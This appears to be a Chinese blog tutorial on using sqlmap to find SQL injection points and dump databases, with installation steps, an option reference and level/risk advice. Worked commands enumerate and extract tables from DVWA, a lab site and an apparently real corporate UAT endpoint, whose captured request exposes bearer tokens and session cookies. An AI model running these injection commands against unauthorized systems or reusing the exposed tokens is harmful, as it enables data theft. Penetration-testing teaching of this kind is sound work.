sqlmap 是一个自动化的 sql 注入渗透工具

一.介绍

sqlmap 是一个自动化的 sql 注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程,并可用于执行各种任务,例如提取数据,访问底层文件系统以及在操作系统上执行命令。

SQLmap 支持多种数据库管理系统,包括

MySQL、Oracle、PostgreSQL、Microsoft SQL Server

等。它可以通过命令行界面或图形化界面进行操作,并提供了丰富的选项和功能,例如指定注入点、指定注入方式、指定数据提取方式等。同时,它也支持自定义脚本和插件,以扩展其功能和适应更多的情况。SQLmap

被广泛应用于渗透测试、安全研究、教育等领域。

SQLmap 使用 Python 语言编写,可以在多种操作系统上运行,例如 Linux、Windows、Mac OS 等。它的使用方法相对简单,但需要一定的 SQL 注入和渗透测试基础,否则可能会对目标系统造成损害。因此,在使用 SQLmap 时,需要遵循合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可。

为了更好地使用 SQLmap,需要了解 SQL 注入漏洞的原理和利用方式,以及目标系统的相关信息和配置。在使用 SQLmap 进行渗透测试时,需要选择合适的注入点和注入方式,并进行参数配置和结果分析。同时,还需要注意防止被目标系统的安全机制检测和防御,例如使用代理、随机延时、避免过多的请求等。最后,在使用 SQLmap 进行渗透测试时,需要保护好自己的安全和隐私,防止泄露个人信息和被攻击者反制。

二.安装 sqlmap

复制代码
1.创建目录cd /usr/binmkdir sqlmap-dev

2.拉取代码git clone https://github.com/sqlmapproject/sqlmap.git
3.配置vim ~/.bash_profilesource ~/.bash_profile

alias sqlmap='Python3 /usr/bin/sqlmap-dev/sqlmap.py'

4.验证安装sqlmap #查看版本salmap -v  #查看版本

三.使用

1.参数说明
复制代码
复制代码
-u  指定URL-p  指定参数-v  指定显示级别--dbs  目标服务器中的数据库--current-db  当前数据库--tables  目标数据库有什么表--columns  目标表中有什么列--dump  获取数据--batch  跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值--dbms  指定数据库类型--current-user  查看当前用户--users  查看所有用户--passwords  数据库密码--hostname  系统名称--banner  数据库信息--roles  数据库用户角色
复制代码
level 和 risk

在 SQLmap 中,levelrisk是两个重要的选项,用于指定 SQL 注入检测和利用的深度和风险程度。level选项用于指定检测的深度,取值范围为 1~5,数字越大,检测的深度越深,检测的速度越慢。默认值为 1,表示最浅层的检测。risk选项用于指定检测和利用的风险程度,取值范围为 0~3,数字越大,风险越高,检测和利用的方式越激进。默认值为 1,表示中等的风险程度。在使用 SQLmap 时,根据实际情况选择合适的levelrisk选项,可以提高检测和利用的效率和成功率,同时避免对目标系统造成过多的影响和损害。

需要注意的是,levelrisk选项虽然可以提高检测和利用的效率和成功率,但也会增加误报和误判的风险,甚至可能引发系统崩溃和数据损坏等问题。因此,在使用这两个选项时,需要谨慎评估风险和影响,并进行充分的测试和验证。同时,还需要遵守合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可,以避免违法和不当行为带来的法律和道德风险。

Sqlmap 一共有 5 个探测等级,默认是 1。等级越高,说明探测时使用的 payload 也越多。其中 5 级的 payload 最多,会自动破解出 cookie、XFF 等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET 和 POST 的数据都会进行测试,HTTP cookie在 level 为 2 时就会测试,HTTP User-Agent/Referer头在 level 为 3 时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置 level 为5

sqlmap 一共有 3 个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为 3 级

如下,设置探测等级 5,平台危险等级 3,都是最高级别,进行扫描:

复制代码
复制代码
sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3
复制代码
2.get 方法
1.判断是否有注入点
复制代码
复制代码
sqlmap -u "目标url"
复制代码
2.查看数据库
复制代码
sqlmap -u "目标_url" --dbs --dbms mysql
--dbms=DBMS #指定目标数据库类型
3.当前数据库
复制代码
sqlmap -u "目标_url" --current-db --dbms mysql
复制代码
4.字段获取
复制代码
 sqlmap -u "目标url" -D 库名 -T 表名 --columns
复制代码
5.指定字段内容​​​​​​​
复制代码
 sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump     -C COL 指定从某个列查询数据    --dump 查询指定范围的全部数据        (对加密的密码进行彩虹表攻击)
6.样例
复制代码
复制代码
sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
复制代码
3.post 方式
1.保存参数

post.txt​​​​​​​

复制代码
POST /xxx-dsc-insight/test/prd/open-api/v1/sku/ck/v1.8.4/page?appid=0 HTTP/1.1Host: xxx-uat.net.cnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2brandDetailNo: BS01application: commandAuthorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaMuid: rongdiContent-Type: application/json;charset=utf-8silent: trueContent-Length: 310Origin: https://xxx-uat.net.cnConnection: closeReferer: https://xxx-uat.net.cn/test/command/bs01/Cookie: route=4daa8dd1683d45d93b8d439c25742107; brand-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; userId=undefined; tenantId=undefined; expires_in=undefined; refresh_token=undefined; groupId=undefined; _ati=3597590558839; JSESSIONID=88CF2B86EDCE43CA57C3B623FA4A3F13; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%2C%22first_id%22%3A%22%22%2C%22props%22%3A%7B%22%24latest_traffic_source_type%22%3A%22%E7%9B%B4%E6%8E%A5%E6%B5%81%E9%87%8F%22%2C%22%24latest_search_keyword%22%3A%22%E6%9C%AA%E5%8F%96%E5%88%B0%E5%80%BC_%E7%9B%B4%E6%8E%A5%E6%89%93%E5%BC%80%22%2C%22%24latest_referrer%22%3A%22%22%7D%2C%22identities%22%3A%22eyIkaWRlbnRpdHlfY29va2llX2lkIjoiMTg2MmY5N2NhZTQxODUtMDhkNmU5ZTA2NTIyYzQtYzVkNTQyOC0yMDczNjAwLTE4NjJmOTdjYWU1NGU4In0%3D%22%2C%22history_login_id%22%3A%7B%22name%22%3A%22%22%2C%22value%22%3A%22%22%7D%2C%22%24device_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%7D; sajssdk_2015_cross_new_user=1; qa-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaM; qa-userId=undefined; qa-tenantId=undefined; qa-expires_in=undefined; qa-refresh_token=undefined; qa-groupId=undefinedSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
{"businesscityno":"1","categoryname1":"1","categoryno2":"-1","categoryno3":"-1","date":"2023-02-06","gendername":"7","invqtylist":["c"],"isinvqty":0,"operateevent":"':","page":1,"productcode":"","productyearname":"","regionname":"","regionno":"c","seasonname":"","size":80,"sortname":"salqty","sortord":"desc"}
复制代码
2.执行
复制代码
复制代码
sqlmap -r /Users/qinyingjie/Downloads/post2.txt -p "categoryname1" --level 5 --risk 3 --batch
复制代码
3.查询结果

四.常用

1.查询库名
复制代码
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dbs
复制代码
2.查询表

-D 指定库名

复制代码
复制代码
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe --tables
3.查询列
复制代码
复制代码
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns
4.查询列值

吃牢饭指令

复制代码
复制代码
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin -C pa
相关推荐
嘉里蓝海10 小时前
我在嘉顺达蓝海的安全日常
安全
2301_7807896611 小时前
渗透测试真的能发现系统漏洞吗
服务器·网络·安全·web安全·网络安全
嘉里蓝海11 小时前
我在嘉顺达蓝海的安全坚守
安全
你的人类朋友12 小时前
认识一下Bcrypt哈希算法
后端·安全·程序员
Coovally AI模型快速验证16 小时前
基于YOLO集成模型的无人机多光谱风电部件缺陷检测
人工智能·安全·yolo·目标跟踪·无人机
夏天的风9918 小时前
本地部署PLM系统,如何用 ZeroNews 实现远程访问?
安全·远程工作
wanhengidc18 小时前
高性价比云手机挑选指南
运维·网络·安全·游戏·智能手机
拉法豆粉21 小时前
三方软件测试可移植性测试哪些内容
数据库·安全
午夜游鱼1 天前
Go 泛型实战:一行代码封装 sync.Pool,性能与安全兼得
开发语言·安全·golang
半桔1 天前
【Linux手册】信号量与建造者模式:以 PV 操作保证并发安全,分步组装构建复杂对象
linux·运维·安全·建造者模式